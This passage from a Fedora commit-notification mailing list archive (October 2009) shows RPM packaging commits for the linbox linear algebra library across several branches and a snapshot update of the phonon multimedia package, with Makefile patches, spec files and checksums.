+       	echo -n " -L${libdir} -llinbox @LIDIA_LIBS@  @NTL_LIBS@ @GIVARO_LIBS@ @SACLIB_LIBS@ @GMP_LIBS@ @BLAS_LIBS@"
        	;;
 
     *)
@@ -69,5 +69,6 @@
     esac
     shift
 done
+echo
 
 exit 0

linbox-double-named.diff:
 interfaces/driver/Makefile.am |    1 -
 linbox/matrix/Makefile.am     |    1 -
 2 files changed, 2 deletions(-)

--- NEW FILE linbox-double-named.diff ---
--- linbox/matrix/Makefile.am	2008-06-14 03:20:50.000000000 +0200
+++ linbox/matrix/Makefile.am2	2009-10-17 01:14:38.000000000 +0200
@@ -2,7 +2,6 @@
 
 BASIC_HDRS =			\
 	archetype.h		\
-	matrix-category.h	\
 	sparse.h		\
 	sparse.inl		\
 	transpose-matrix.h		\
--- interfaces/driver/Makefile.am	2008-09-17 03:38:49.000000000 +0200
+++ interfaces/driver/Makefile.am2	2009-10-17 01:31:17.000000000 +0200
@@ -29,7 +29,6 @@
 liblbdriver_la_LDFLAGS=$(GIVARO_LIBS) $(GMP_LIBS) $(NTL_LIBS) $(BLAS_LIBS) $(top_srcdir)/linbox/liblinbox.la -Wl,-zmuldefs
 
 pkginclude_HEADERS=\
-		lb-driver.h	\
 		lb-blackbox-abstract.h		\
 		lb-blackbox-type.h  		\
 		lb-domain-function.h   		\

linbox-respect-destdir.diff:
 Makefile.am |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE linbox-respect-destdir.diff ---
--- doc/Makefile.am.orig	2008-12-12 02:43:16.000000000 -0800
+++ doc/Makefile.am	2008-12-12 02:43:34.000000000 -0800
@@ -18,13 +18,13 @@
 	cp ../INSTALL linbox-html
 	cp ../COPYING linbox-html
 	cp ../AUTHORS linbox-html
 
 install-doc :
-	mkdir $(docdir)
-	cp -r linbox-html $(docdir)/linbox-html
-	cp linbox.html $(docdir)/linbox.html
+	mkdir -p $(DESTDIR)$(docdir)
+	cp -r linbox-html $(DESTDIR)$(docdir)/linbox-html
+	cp linbox.html $(DESTDIR)$(docdir)/linbox.html
 
 EXTRA_DIST=\
 	linbox.html		\
 	tutorial.html		\
 	install-dev.html	\


--- NEW FILE linbox.spec ---
Name:           linbox
Version:        1.1.6
Release:        6%{?dist}
Summary:        C++ Library for High-Performance Linear Algebra
Group:          Development/Libraries
License:        LGPLv2
URL:            http://www.linalg.org/
Source0:        http://www.linalg.org/linbox-%{version}.tar.gz
# send upstream via mail Oct 17 2009
# Patch0 for respecting destdir, when installing the docs
Patch0:         %{name}-respect-destdir.diff
# send upstream via mail Oct 17 2009
# Patch1 for deleting double named headers in Makefiles
# if not applied 'install' will complain and break 'make install'
Patch1:         %{name}-double-named.diff
# Patch2 for emitting --cflags --lflags in one command
# if not applied only one command can be used at the same time
Patch2:         %{name}-cflags-lflags.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  atlas-devel
BuildRequires:  givaro-devel
BuildRequires:  gmp-devel
BuildRequires:  ntl-devel

BuildRequires:  automake
BuildRequires:  doxygen
BuildRequires:  libtool
BuildRequires:  tex(latex)

%description
LinBox is a C++ template library for exact, high-performance linear
algebra computation with dense, sparse, and structured matrices over
the integers and over finite fields.


%package        devel
Summary:        Development libraries/headers for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}


%description    devel
Headers and libraries for development with %{name}.


%package        doc
Summary:        Documentation for %{name}
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
BuildArch:      noarch


%description    doc
Documentation for %{name}.


%prep
%setup -q
%patch0
%patch1
%patch2
find . -type f -name '*.C' | xargs chmod 0644
find . -type f -name '*.h' | xargs chmod 0644


%build
# Rebuild Makefile.in's from Makefile.am's, because our Patch0 fixes the
# Makefile.am to respect destdir.
aclocal -I macros
automake
%configure --enable-doc --with-givaro=yes --with-ntl=yes \
    --with-blas="%{_libdir}/atlas" --enable-shared \
    --enable-sage --enable-optimization --enable-drivers \
    --with-doxygen=yes --disable-rpath --disable-static

# Remove stupid rpaths
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool

make %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
rm -f %{buildroot}%{_libdir}/*.la

# Remove docs that are installed in the wrong place
rm -rf %{buildroot}%{_prefix}/doc


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%check
make -C tests check


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog NEWS README TODO
%{_libdir}/*.so.*


%files doc
%defattr(-,root,root,-)
%doc doc/linbox-html/*


%files devel
%defattr(-,root,root,-)
%{_includedir}/%{name}
%{_libdir}/*.so
%{_bindir}/%{name}-config
%{_mandir}/man1/%{name}-config.1*


%changelog
* Mon Oct 19 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-6
- installing docs breaks naming guidelines -> install them different

* Sun Oct 18 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-5
- properly install docs and don't mv them around
- add other files to %%doc

* Sun Oct 18 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-4
- %%check
- patch for --cflags and --lflags in config

* Sat Oct 17 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-3
- patches are send upstream
- correct BuildRequires
- INSTALL is not in %%doc

* Sat Oct 17 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-2
- disable static library
- patch for double named header files
- extra doc package

* Fri Dec 12 2008 Conrad Meyer <konrad at tylerc.org> - 1.1.6-1
- Initial package.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/linbox/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:56:04 -0000	1.1
+++ .cvsignore	19 Oct 2009 17:28:00 -0000	1.2
@@ -0,0 +1 @@
+linbox-1.1.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/linbox/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:56:04 -0000	1.1
+++ sources	19 Oct 2009 17:28:00 -0000	1.2
@@ -0,0 +1 @@
+66288b0acfff70e81472b9cea225a3af  linbox-1.1.6.tar.gz



From tomspur at fedoraproject.org  Mon Oct 19 17:32:31 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Mon, 19 Oct 2009 17:32:31 +0000 (UTC)
Subject: rpms/linbox/F-12 linbox-cflags-lflags.patch, NONE,
	1.1 linbox-double-named.diff, NONE,
	1.1 linbox-respect-destdir.diff, NONE, 1.1 linbox.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091019173231.50CED11C00DC@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/linbox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16943

Modified Files:
	sources 
Added Files:
	linbox-cflags-lflags.patch linbox-double-named.diff 
	linbox-respect-destdir.diff linbox.spec 
Log Message:
Initial import (#529466).


linbox-cflags-lflags.patch:
 linbox-config.in |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE linbox-cflags-lflags.patch ---
--- linbox-config.in.orig	2008-06-14 03:21:00.000000000 +0200
+++ linbox-config.in	2009-10-18 13:44:39.000000000 +0200
@@ -55,11 +55,11 @@
 	;;
 
     --cflags)
-       	echo -I${includedir} @GMP_CFLAGS@ @NTL_CFLAGS@ @GIVARO_CFLAGS@ @SACLIB_CFLAGS@ @LIDIA_CFLAGS@ 
+       	echo -n " -I${includedir} @GMP_CFLAGS@ @NTL_CFLAGS@ @GIVARO_CFLAGS@ @SACLIB_CFLAGS@ @LIDIA_CFLAGS@"
        	;;
 
     --libs)
-       	echo -L${libdir} -llinbox @LIDIA_LIBS@  @NTL_LIBS@ @GIVARO_LIBS@ @SACLIB_LIBS@ @GMP_LIBS@ @BLAS_LIBS@
+       	echo -n " -L${libdir} -llinbox @LIDIA_LIBS@  @NTL_LIBS@ @GIVARO_LIBS@ @SACLIB_LIBS@ @GMP_LIBS@ @BLAS_LIBS@"
        	;;
 
     *)
@@ -69,5 +69,6 @@
     esac
     shift
 done
+echo
 
 exit 0

linbox-double-named.diff:
 interfaces/driver/Makefile.am |    1 -
 linbox/matrix/Makefile.am     |    1 -
 2 files changed, 2 deletions(-)

--- NEW FILE linbox-double-named.diff ---
--- linbox/matrix/Makefile.am	2008-06-14 03:20:50.000000000 +0200
+++ linbox/matrix/Makefile.am2	2009-10-17 01:14:38.000000000 +0200
@@ -2,7 +2,6 @@
 
 BASIC_HDRS =			\
 	archetype.h		\
-	matrix-category.h	\
 	sparse.h		\
 	sparse.inl		\
 	transpose-matrix.h		\
--- interfaces/driver/Makefile.am	2008-09-17 03:38:49.000000000 +0200
+++ interfaces/driver/Makefile.am2	2009-10-17 01:31:17.000000000 +0200
@@ -29,7 +29,6 @@
 liblbdriver_la_LDFLAGS=$(GIVARO_LIBS) $(GMP_LIBS) $(NTL_LIBS) $(BLAS_LIBS) $(top_srcdir)/linbox/liblinbox.la -Wl,-zmuldefs
 
 pkginclude_HEADERS=\
-		lb-driver.h	\
 		lb-blackbox-abstract.h		\
 		lb-blackbox-type.h  		\
 		lb-domain-function.h   		\

linbox-respect-destdir.diff:
 Makefile.am |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE linbox-respect-destdir.diff ---
--- doc/Makefile.am.orig	2008-12-12 02:43:16.000000000 -0800
+++ doc/Makefile.am	2008-12-12 02:43:34.000000000 -0800
@@ -18,13 +18,13 @@
 	cp ../INSTALL linbox-html
 	cp ../COPYING linbox-html
 	cp ../AUTHORS linbox-html
 
 install-doc :
-	mkdir $(docdir)
-	cp -r linbox-html $(docdir)/linbox-html
-	cp linbox.html $(docdir)/linbox.html
+	mkdir -p $(DESTDIR)$(docdir)
+	cp -r linbox-html $(DESTDIR)$(docdir)/linbox-html
+	cp linbox.html $(DESTDIR)$(docdir)/linbox.html
 
 EXTRA_DIST=\
 	linbox.html		\
 	tutorial.html		\
 	install-dev.html	\


--- NEW FILE linbox.spec ---
Name:           linbox
Version:        1.1.6
Release:        6%{?dist}
Summary:        C++ Library for High-Performance Linear Algebra
Group:          Development/Libraries
License:        LGPLv2
URL:            http://www.linalg.org/
Source0:        http://www.linalg.org/linbox-%{version}.tar.gz
# send upstream via mail Oct 17 2009
# Patch0 for respecting destdir, when installing the docs
Patch0:         %{name}-respect-destdir.diff
# send upstream via mail Oct 17 2009
# Patch1 for deleting double named headers in Makefiles
# if not applied 'install' will complain and break 'make install'
Patch1:         %{name}-double-named.diff
# Patch2 for emitting --cflags --lflags in one command
# if not applied only one command can be used at the same time
Patch2:         %{name}-cflags-lflags.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  atlas-devel
BuildRequires:  givaro-devel
BuildRequires:  gmp-devel
BuildRequires:  ntl-devel

BuildRequires:  automake
BuildRequires:  doxygen
BuildRequires:  libtool
BuildRequires:  tex(latex)

%description
LinBox is a C++ template library for exact, high-performance linear
algebra computation with dense, sparse, and structured matrices over
the integers and over finite fields.


%package        devel
Summary:        Development libraries/headers for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}


%description    devel
Headers and libraries for development with %{name}.


%package        doc
Summary:        Documentation for %{name}
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
BuildArch:      noarch


%description    doc
Documentation for %{name}.


%prep
%setup -q
%patch0
%patch1
%patch2
find . -type f -name '*.C' | xargs chmod 0644
find . -type f -name '*.h' | xargs chmod 0644


%build
# Rebuild Makefile.in's from Makefile.am's, because our Patch0 fixes the
# Makefile.am to respect destdir.
aclocal -I macros
automake
%configure --enable-doc --with-givaro=yes --with-ntl=yes \
    --with-blas="%{_libdir}/atlas" --enable-shared \
    --enable-sage --enable-optimization --enable-drivers \
    --with-doxygen=yes --disable-rpath --disable-static

# Remove stupid rpaths
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool

make %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
rm -f %{buildroot}%{_libdir}/*.la

# Remove docs that are installed in the wrong place
rm -rf %{buildroot}%{_prefix}/doc


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%check
make -C tests check


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog NEWS README TODO
%{_libdir}/*.so.*


%files doc
%defattr(-,root,root,-)
%doc doc/linbox-html/*


%files devel
%defattr(-,root,root,-)
%{_includedir}/%{name}
%{_libdir}/*.so
%{_bindir}/%{name}-config
%{_mandir}/man1/%{name}-config.1*


%changelog
* Mon Oct 19 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-6
- installing docs breaks naming guidelines -> install them different

* Sun Oct 18 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-5
- properly install docs and don't mv them around
- add other files to %%doc

* Sun Oct 18 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-4
- %%check
- patch for --cflags and --lflags in config

* Sat Oct 17 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-3
- patches are send upstream
- correct BuildRequires
- INSTALL is not in %%doc

* Sat Oct 17 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.1.6-2
- disable static library
- patch for double named header files
- extra doc package

* Fri Dec 12 2008 Conrad Meyer <konrad at tylerc.org> - 1.1.6-1
- Initial package.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/linbox/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:56:04 -0000	1.1
+++ sources	19 Oct 2009 17:32:30 -0000	1.2
@@ -0,0 +1 @@
+66288b0acfff70e81472b9cea225a3af  linbox-1.1.6.tar.gz



From rdieter at fedoraproject.org  Mon Oct 19 17:33:13 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 19 Oct 2009 17:33:13 +0000 (UTC)
Subject: rpms/phonon/devel phonon-4.3.50-xine_pulseaudio.patch, NONE,
	1.1 phonon_snapshot.sh, NONE, 1.1 .cvsignore, 1.12,
	1.13 phonon.spec, 1.47, 1.48 sources, 1.14,
	1.15 phonon-4.2.96-pulseaudio.patch, 1.3,
	NONE phonon-4.2.96-xine-pulseaudio.patch, 1.1,
	NONE phonon-4.3.1-xineonly.patch, 1.1,
	NONE phonon-4.3.2-gstreamer-utf8-url.patch, 1.3,
	NONE phonon-4.3.2-gstreamer-volumefader.patch, 1.3,
	NONE phonon-4.3.2-kdebug#172242-2.patch, 1.1,
	NONE phonon-4.3.2-kdebug#172242.patch, 1.1,
	NONE qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch, 1.1, NONE
Message-ID: <20091019173313.D04C011C00DC@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/phonon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17660

Modified Files:
	.cvsignore phonon.spec sources 
Added Files:
	phonon-4.3.50-xine_pulseaudio.patch phonon_snapshot.sh 
Removed Files:
	phonon-4.2.96-pulseaudio.patch 
	phonon-4.2.96-xine-pulseaudio.patch 
	phonon-4.3.1-xineonly.patch 
	phonon-4.3.2-gstreamer-utf8-url.patch 
	phonon-4.3.2-gstreamer-volumefader.patch 
	phonon-4.3.2-kdebug#172242-2.patch 
	phonon-4.3.2-kdebug#172242.patch 
	qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch 
Log Message:
* Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.50-1.20091019
- phonon-4.3.50 (20091019 snapshot)


phonon-4.3.50-xine_pulseaudio.patch:
 backend.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE phonon-4.3.50-xine_pulseaudio.patch ---
diff -up phonon/xine/backend.cpp.pulseaudio phonon/xine/backend.cpp
--- phonon/xine/backend.cpp.pulseaudio	2009-10-03 14:00:19.000000000 -0500
+++ phonon/xine/backend.cpp	2009-10-19 12:23:17.768923476 -0500
@@ -649,7 +649,7 @@ void Backend::checkAudioOutputs()
                             "in KDE2 and KDE3. Its use is discouraged.</p></html>"),
                         /*icon name */"audio-backend-arts", outputPlugins[i]);
             } else if (0 == strcmp(outputPlugins[i], "pulseaudio")) {
-                addAudioOutput(nextIndex++, 10, tr("PulseAudio"),
+                addAudioOutput(nextIndex++, 2000, tr("PulseAudio"),
                         xine_get_audio_driver_plugin_description(m_xine, outputPlugins[i]),
                         /*icon name */"audio-backend-pulseaudio", outputPlugins[i]);
             } else if (0 == strcmp(outputPlugins[i], "esd")) {


--- NEW FILE phonon_snapshot.sh ---
#/bin/sh

DATE=$(date +%Y%m%d)
EXPORT_DIR=phonon

set -x
rm -rf $EXPORT_DIR
# app
svn export svn://anonsvn.kde.org/home/kde/trunk/kdesupport/phonon $EXPORT_DIR/

tar cjf $EXPORT_DIR-${DATE}svn.tar.bz2 $EXPORT_DIR

# cleanup
rm -rf $EXPORT_DIR



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	30 Sep 2009 15:19:54 -0000	1.12
+++ .cvsignore	19 Oct 2009 17:33:13 -0000	1.13
@@ -6,3 +6,4 @@ hi22-phonon-gstreamer.png
 hi32-phonon-gstreamer.png
 hi48-phonon-gstreamer.png
 hi64-phonon-gstreamer.png
+phonon-20091019svn.tar.bz2


Index: phonon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/devel/phonon.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- phonon.spec	7 Oct 2009 14:22:44 -0000	1.47
+++ phonon.spec	19 Oct 2009 17:33:13 -0000	1.48
@@ -1,12 +1,16 @@
 
+%define snap 20091019svn
+
 Summary: Multimedia framework api
 Name:    phonon
-Version: 4.3.1
-Release: 102%{?dist}
+Version: 4.3.50
+Release: 1.%{snap}%{?dist}
 Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://phonon.kde.org/
-Source0: ftp://ftp.kde.org/pub/kde/stable/4.2.1/phonon-%{version}.tar.bz2
+#Source0: ftp://ftp.kde.org/pub/kde/stable/4.2.1/phonon-%{version}.tar.bz2
+Source0: phonon-%{snap}.tar.bz2
+Source1: phonon_snapshot.sh
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Source10: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
@@ -17,27 +21,12 @@ Source14: hi48-phonon-gstreamer.png
 Source15: hi64-phonon-gstreamer.png
 Source16: hi128-phonon-gstreamer.png
 
-# Make PulseAudio the default when listed by the backend.
-# Note that this currently only works for the Xine backend. Device selection in
-# the GStreamer backend is weird: there is a setting for "sink" which cannot be
-# set through systemsettings, and listed devices are only those supported by the
-# "sink". So it never lists "PulseAudio" as a supported device, you have to pick
-# it as a "sink", and then the device setting is ignored entirely.
-Patch0:  phonon-4.2.96-pulseaudio.patch
-Patch1:  phonon-4.2.96-xine-pulseaudio.patch
-Patch2:  qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch
-
-## define to build phonon-backend-xine only
-#define xine_only 1
-#Patch10: phonon-4.3.1-xineonly.patch
+# Prefer PulseAudio
+# This one was easiest to port, but doesn't seem to work by itself as-is
+# maybe we can just wait for the improvie PA support to land.
+Patch1:  phonon-4.3.50-xine_pulseaudio.patch
 
 ## Upstream patches
-Patch100: phonon-4.3.2-gstreamer-utf8-url.patch
-Patch101: phonon-4.3.2-gstreamer-volumefader.patch
-# fix for non-ascii filenames in xine backend
-Patch102: phonon-4.3.2-kdebug#172242.patch
-# escape '#' too
-Patch103: phonon-4.3.2-kdebug#172242-2.patch
 
 BuildRequires: automoc4 >= 0.9.86
 BuildRequires: cmake >= 2.6.0
@@ -53,11 +42,7 @@ BuildRequires: xine-lib-devel
 
 Requires: phonon-backend%{?_isa} >= %{version}
 
-%if 0%{?fedora} > 11
-Requires: qt4%{?_isa} >= 4.5.2-21 
-%else
 Requires: qt4%{?_isa} >= %{_qt4_version}
-%endif
 
 %description
 %{summary}.
@@ -92,19 +77,9 @@ Provides:  %{name}-backend-gst = %{versi
 
 
 %prep
-%setup -q -n phonon-%{version}%{?alphatag}
-%patch0 -p1 -b .pulseaudio
-%patch1 -p1 -b .xine-pulseaudio
-%patch2 -p4 -b .gst-pulseaudio
-%patch100 -p0 -b .gstreamer-utf8-url
-%patch101 -p0 -b .gstreamer-volumefader
-%patch102 -p1 -b .xine_nonascii
-%patch103 -p1 -b .xine_nonascii-2
-
-# not working?  use -C .../xine hack below instead for now  -- Rex
-%if 0%{?xine_only}
-#patch10 -p1 -b .xineonly
-%endif
+%setup -q -n phonon%{!?snap:-%{version}}
+
+%patch1 -p1 -b .xine_pulseaudio
 
 
 %build
@@ -204,6 +179,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.50-1.20091019
+- phonon-4.3.50 (20091019 snapshot)
+
 * Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-102
 - Requires: qt4 >= 4.5.2-21 (f12+)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	30 Sep 2009 15:19:55 -0000	1.14
+++ sources	19 Oct 2009 17:33:13 -0000	1.15
@@ -1,8 +1,8 @@
 8e3924f417fea67f72b2105faed2119c  gstreamer-logo.svg
-767cb68052c108e95f293f30acdef3fb  phonon-4.3.1.tar.bz2
 60de9d7e1cddd019f09fd036f0e5413a  hi128-phonon-gstreamer.png
 7ca265e0cf75b3b4c81e1490d3dba3be  hi16-phonon-gstreamer.png
 0a9f69d901aded140d4fed969c22e14f  hi22-phonon-gstreamer.png
 12db12c009b722a6dc141f78feb7e330  hi32-phonon-gstreamer.png
 86c34a1b81d44980b1381f94ed6b7a23  hi48-phonon-gstreamer.png
 153505c71ec021b0a3bd4b74f2492e93  hi64-phonon-gstreamer.png
+e009dfbb29af69abf8e11e5feb6a2007  phonon-20091019svn.tar.bz2


--- phonon-4.2.96-pulseaudio.patch DELETED ---


--- phonon-4.2.96-xine-pulseaudio.patch DELETED ---


--- phonon-4.3.1-xineonly.patch DELETED ---


--- phonon-4.3.2-gstreamer-utf8-url.patch DELETED ---


--- phonon-4.3.2-gstreamer-volumefader.patch DELETED ---


--- phonon-4.3.2-kdebug#172242-2.patch DELETED ---


--- phonon-4.3.2-kdebug#172242.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch DELETED ---



From tomspur at fedoraproject.org  Mon Oct 19 17:33:16 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Mon, 19 Oct 2009 17:33:16 +0000 (UTC)
Subject: rpms/linbox/F-11 linbox-cflags-lflags.patch, NONE,
	1.1 linbox-double-named.diff, NONE,
	1.1 linbox-respect-destdir.diff, NONE, 1.1 linbox.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091019173316.2C44711C00DC@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/linbox/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17685

Modified Files:
	sources 
Added Files:
	linbox-cflags-lflags.patch linbox-double-named.diff 
	linbox-respect-destdir.diff linbox.spec 
Log Message:
Initial import (#529466).


linbox-cflags-lflags.patch:
 linbox-config.in |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE linbox-cflags-lflags.patch ---
--- linbox-config.in.orig	2008-06-14 03:21:00.000000000 +0200
+++ linbox-config.in	2009-10-18 13:44:39.000000000 +0200
@@ -55,11 +55,11 @@
 	;;
 
     --cflags)
-       	echo -I${includedir} @GMP_CFLAGS@ @NTL_CFLAGS@ @GIVARO_CFLAGS@ @SACLIB_CFLAGS@ @LIDIA_CFLAGS@ 
+       	echo -n " -I${includedir} @GMP_CFLAGS@ @NTL_CFLAGS@ @GIVARO_CFLAGS@ @SACLIB_CFLAGS@ @LIDIA_CFLAGS@"
        	;;
 
     --libs)
-       	echo -L${libdir} -llinbox @LIDIA_LIBS@  @NTL_LIBS@ @GIVARO_LIBS@ @SACLIB_LIBS@ @GMP_LIBS@ @BLAS_LIBS@
+       	echo -n " -L${libdir} -llinbox @LIDIA_LIBS@  @NTL_LIBS@ @GIVARO_LIBS@ @SACLIB_LIBS@ @GMP_LIBS@ @BLAS_LIBS@"
        	;;
 
     *)
@@ -69,5 +69,6 @@
     esac
     shift
 done
+echo
 
 exit 0

linbox-double-named.diff:
 interfaces/driver/Makefile.am |    1 -
 linbox/matrix/Makefile.am     |    1 -
 2 files changed, 2 deletions(-)

--- NEW FILE linbox-double-named.diff ---
--- linbox/matrix/Makefile.am	2008-06-14 03:20:50.000000000 +0200
+++ linbox/matrix/Makefile.am2	2009-10-17 01:14:38.000000000 +0200
@@ -2,7 +2,6 @@
 
 BASIC_HDRS =			\
 	archetype.h		\
-	matrix-category.h	\
 	sparse.h		\
 	sparse.inl		\
 	transpose-matrix.h		\
--- interfaces/driver/Makefile.am	2008-09-17 03:38:49.000000000 +0200
+++ interfaces/driver/Makefile.am2	2009-10-17 01:31:17.000000000 +0200
@@ -29,7 +29,6 @@
 liblbdriver_la_LDFLAGS=$(GIVARO_LIBS) $(GMP_LIBS) $(NTL_LIBS) $(BLAS_LIBS) $(top_srcdir)/linbox/liblinbox.la -Wl,-zmuldefs
 
 pkginclude_HEADERS=\
-		lb-driver.h	\
 		lb-blackbox-abstract.h		\
 		lb-blackbox-type.h  		\
 		lb-domain-function.h   		\

linbox-respect-destdir.diff:
 Makefile.am |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE linbox-respect-destdir.diff ---
--- doc/Makefile.am.orig	2008-12-12 02:43:16.000000000 -0800
+++ doc/Makefile.am	2008-12-12 02:43:34.000000000 -0800
@@ -18,13 +18,13 @@
 	cp ../INSTALL linbox-html
 	cp ../COPYING linbox-html
 	cp ../AUTHORS linbox-html
 
 install-doc :
-	mkdir $(docdir)
-	cp -r linbox-html $(docdir)/linbox-html
-	cp linbox.html $(docdir)/linbox.html
+	mkdir -p $(DESTDIR)$(docdir)
+	cp -r linbox-html $(DESTDIR)$(docdir)/linbox-html
+	cp linbox.html $(DESTDIR)$(docdir)/linbox.html
 
 EXTRA_DIST=\
 	linbox.html		\
 	tutorial.html		\
 	install-dev.html	\


--- NEW FILE linbox.spec ---
Name:           linbox
Version:        1.1.6
Release:        6%{?dist}
Summary:        C++ Library for High-Performance Linear Algebra
Group:          Development/Libraries
License:        LGPLv2
URL:            http://www.linalg.org/
Source0:        http://www.linalg.org/linbox-%{version}.tar.gz
# send upstream via mail Oct 17 2009
# Patch0 for respecting destdir, when installing the docs
Patch0:         %{name}-respect-destdir.diff
# send upstream via mail Oct 17 2009
# Patch1 for deleting double named headers in Makefiles
# if not applied 'install' will complain and break 'make install'
Patch1:         %{name}-double-named.diff
# Patch2 for emitting --cflags --lflags in one command
# if not applied only one command can be used at the same time
Patch2:         %{name}-cflags-lflags.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  atlas-devel
BuildRequires:  givaro-devel
BuildRequires:  gmp-devel
BuildRequires:  ntl-devel

BuildRequires:  automake
BuildRequires:  doxygen
BuildRequires:  libtool
BuildRequires:  tex(latex)

%description
LinBox is a C++ template library for exact, high-performance linear
algebra computation with dense, sparse, and structured matrices over
the integers and over finite fields.


%package        devel
Summary:        Development libraries/headers for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}


%description    devel
Headers and libraries for development with %{name}.


%package        doc
Summary:        Documentation for %{name}
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
BuildArch:      noarch


%description    doc
Documentation for %{name}.


%prep
%setup -q
%patch0
%patch1
%patch2
find . -type f -name '*.C' | xargs chmod 0644
find . -type f -name '*.h' | xargs chmod 0644


%build
# Rebuild Makefile.in's from Makefile.am's, because our Patch0 fixes the
# Makefile.am to respect destdir.
aclocal -I macros
automake
%configure --enable-doc --with-givaro=yes --with-ntl=yes \
    --with-blas="%{_libdir}/atlas" --enable-shared \
    --enable-sage --enable-optimization --enable-drivers \
    --with-doxygen=yes --disable-rpath --disable-static

# Remove stupid rpaths
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool

make %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
rm -f %{buildroot}%{_libdir}/*.la

# Remove docs that are installed in the wrong place
rm -rf %{buildroot}%{_prefix}/doc


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%check
make -C tests check


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog NEWS README TODO
%{_libdir}/*.so.*


%files doc
